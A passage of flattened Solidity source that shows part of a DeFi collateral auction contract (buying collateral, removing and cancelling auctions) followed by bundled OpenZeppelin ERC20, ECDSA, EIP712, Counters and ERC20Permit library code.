/// @notice Buy up to `collateralAmount` of collateral from the auction indexed by `id`
///
/// Auctions will not collect more Credit than their assigned Credit target,`debt`;
/// thus, if `collateralAmount` would cost more Credit than `debt` at the current price, the
/// amount of collateral purchased will instead be just enough to collect `debt` in Credit.
///
/// To avoid partial purchases resulting in very small leftover auctions that will
/// never be cleared, any partial purchase must leave at least `CollateralAuction.auctionDebtFloor`
/// remaining Credit target. `auctionDebtFloor` is an asynchronously updated value equal to
/// (Codex.debtFloor * Limes.liquidationPenalty(vault) / WAD) where the values are understood to be determined
/// by whatever they were when CollateralAuction.updateAuctionDebtFloor() was last called. Purchase amounts
/// will be minimally decreased when necessary to respect this limit; i.e., if the
/// specified `collateralAmount` would leave `debt < auctionDebtFloor` but `debt > 0`, the amount actually
/// purchased will be such that `debt == auctionDebtFloor`.
///
/// If `debt <= auctionDebtFloor`, partial purchases are no longer possible; that is, the remaining
/// collateral can only be purchased entirely, or not at all.
///
/// Enforces a price floor of debt / collateral
///
/// @dev Reverts if circuit breaker is set to 3 (no new auctions, no redos of auctions and no collateral buying)
/// @param auctionId Id of the auction to buy collateral from
/// @param collateralAmount Upper limit on amount of collateral to buy [wad]
/// @param maxPrice Maximum acceptable price (Credit / collateral) [wad]
/// @param recipient Receiver of collateral and external call address
/// @param data Data to pass in external call; if length 0, no call is done
function takeCollateral(
uint256 auctionId, // Auction id
uint256 collateralAmount, // Upper limit on amount of collateral to buy [wad]
uint256 maxPrice, // Maximum acceptable price (Credit / collateral) [wad]
address recipient, // Receiver of collateral and external call address
bytes calldata data // Data to pass in external call; if length 0, no call is done
) external override checkReentrancy isStopped(3) {
Auction memory auction = auctions[auctionId];
if (auction.user == address(0)) revert NoLossCollateralAuction__takeCollateral_notRunningAuction();
uint256 price;
{
bool done;
(done, price) = status(auction);
// Check that auction doesn't need reset
if (done) revert NoLossCollateralAuction__takeCollateral_needsReset();
// Ensure price is acceptable to buyer
if (maxPrice < price) revert NoLossCollateralAuction__takeCollateral_tooExpensive();
}
uint256 collateralToSell = auction.collateralToSell;
uint256 debt = auction.debt;
uint256 owe;
unchecked {
{
// Purchase as much as possible, up to collateralAmount
// collateralSlice <= collateralToSell
uint256 collateralSlice = min(collateralToSell, collateralAmount);
// Credit needed to buy a collateralSlice of this auction
owe = wmul(collateralSlice, price);
// owe can be greater than debt and thus user would pay a premium to the recipient
if (owe < debt && collateralSlice < collateralToSell) {
// If collateralSlice == collateralToSell => auction completed => debtFloor doesn't matter
uint256 _auctionDebtFloor = vaults[auction.vault].auctionDebtFloor;
if (debt - owe < _auctionDebtFloor) {
// safe as owe < debt
// If debt <= auctionDebtFloor, buyers have to take the entire collateralToSell.
if (debt <= _auctionDebtFloor)
revert NoLossCollateralAuction__takeCollateral_noPartialPurchase();
// Adjust amount to pay
owe = debt - _auctionDebtFloor; // owe' <= owe
// Adjust collateralSlice
// collateralSlice' = owe' / price < owe / price == collateralSlice < collateralToSell
collateralSlice = wdiv(owe, price);
}
}
// Calculate remaining collateralToSell after operation
collateralToSell = collateralToSell - collateralSlice;
// Send collateral to recipient
codex.transferBalance(auction.vault, auction.tokenId, address(this), recipient, collateralSlice);
// Do external call (if data is defined) but to be
// extremely careful we don't allow to do it to the two
// contracts which the CollateralAuction needs to be authorized
ILimes limes_ = limes;
if (data.length > 0 && recipient != address(codex) && recipient != address(limes_)) {
CollateralAuctionCallee(recipient).collateralAuctionCall(msg.sender, owe, collateralSlice, data);
}
// Get Credit from caller
codex.transferCredit(msg.sender, address(aer), owe);
// Removes Credit out for liquidation from accumulator
// if all collateral has been sold or owe is larger than remaining debt
// then just remove the remaining debt from the accumulator
limes_.liquidated(auction.vault, auction.tokenId, (collateralToSell == 0 || debt < owe) ? debt : owe);
// Calculate remaining debt after operation
debt = (owe < debt) ? debt - owe : 0; // safe since owe <= debt
}
}
if (collateralToSell == 0) {
_remove(auctionId);
} else if (debt == 0) {
codex.transferBalance(auction.vault, auction.tokenId, address(this), auction.user, collateralToSell);
_remove(auctionId);
} else {
auctions[auctionId].debt = debt;
auctions[auctionId].collateralToSell = collateralToSell;
}
emit TakeCollateral(
auctionId,
maxPrice,
price,
owe,
debt,
collateralToSell,
auction.vault,
auction.tokenId,
auction.user
);
}
// Removes an auction from the active auctions array
function _remove(uint256 auctionId) internal {
uint256 _move = activeAuctions[activeAuctions.length - 1];
if (auctionId != _move) {
uint256 _index = auctions[auctionId].index;
activeAuctions[_index] = _move;
auctions[_move].index = _index;
}
activeAuctions.pop();
delete auctions[auctionId];
}
/// @notice The number of active auctions
/// @return Number of active auctions
function count() external view override returns (uint256) {
return activeAuctions.length;
}
/// @notice Returns the entire array of active auctions
/// @return List of active auctions
function list() external view override returns (uint256[] memory) {
return activeAuctions;
}
/// @notice Externally returns boolean for if an auction needs a redo and also the current price
/// @param auctionId Id of the auction to get the status for
/// @return needsRedo If the auction needs a redo (max duration or max discount exceeded)
/// @return price Current price of the collateral determined by the calculator [wad]
/// @return collateralToSell Amount of collateral left to buy for credit [wad]
/// @return debt Amount of debt / credit to sell for collateral [wad]
function getStatus(uint256 auctionId)
external
view
override
returns (
bool needsRedo,
uint256 price,
uint256 collateralToSell,
uint256 debt
)
{
Auction memory auction = auctions[auctionId];
bool done;
(done, price) = status(auction);
needsRedo = auction.user != address(0) && done;
collateralToSell = auction.collateralToSell;
debt = auction.debt;
}
// Internally returns boolean for if an auction needs a redo
function status(Auction memory auction) internal view returns (bool done, uint256 price) {
uint256 floorPrice = wdiv(auction.debt, auction.collateralToSell);
price = max(
floorPrice,
vaults[auction.vault].calculator.price(auction.startPrice, sub(block.timestamp, auction.startsAt))
);
done = (sub(block.timestamp, auction.startsAt) > vaults[auction.vault].maxAuctionDuration ||
price == floorPrice);
}
/// @notice Public function to update the cached vault.debtFloor*vault.liquidationPenalty value
/// @param vault Address of the Vault for which to update the auctionDebtFloor variable
function updateAuctionDebtFloor(address vault) external override {
(, , , uint256 _debtFloor) = ICodex(codex).vaults(vault);
uint256 auctionDebtFloor = wmul(_debtFloor, limes.liquidationPenalty(vault));
vaults[vault].auctionDebtFloor = auctionDebtFloor;
emit UpdateAuctionDebtFloor(vault, auctionDebtFloor);
}
/// ======== Shutdown ======== ///
/// @notice Cancels an auction during shutdown or via governance action
/// @dev Sender has to be allowed to call this method
/// @param auctionId Id of the auction to cancel
function cancelAuction(uint256 auctionId) external override checkCaller checkReentrancy {
if (auctions[auctionId].user == address(0)) revert NoLossCollateralAuction__cancelAuction_notRunningAction();
address vault = auctions[auctionId].vault;
uint256 tokenId = auctions[auctionId].tokenId;
limes.liquidated(vault, tokenId, auctions[auctionId].debt);
codex.transferBalance(vault, tokenId, address(this), msg.sender, auctions[auctionId].collateralToSell);
_remove(auctionId);
emit StopAuction(auctionId);
}
}// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol)
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol)
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
address private immutable _CACHED_THIS;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_CACHED_THIS = address(this);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
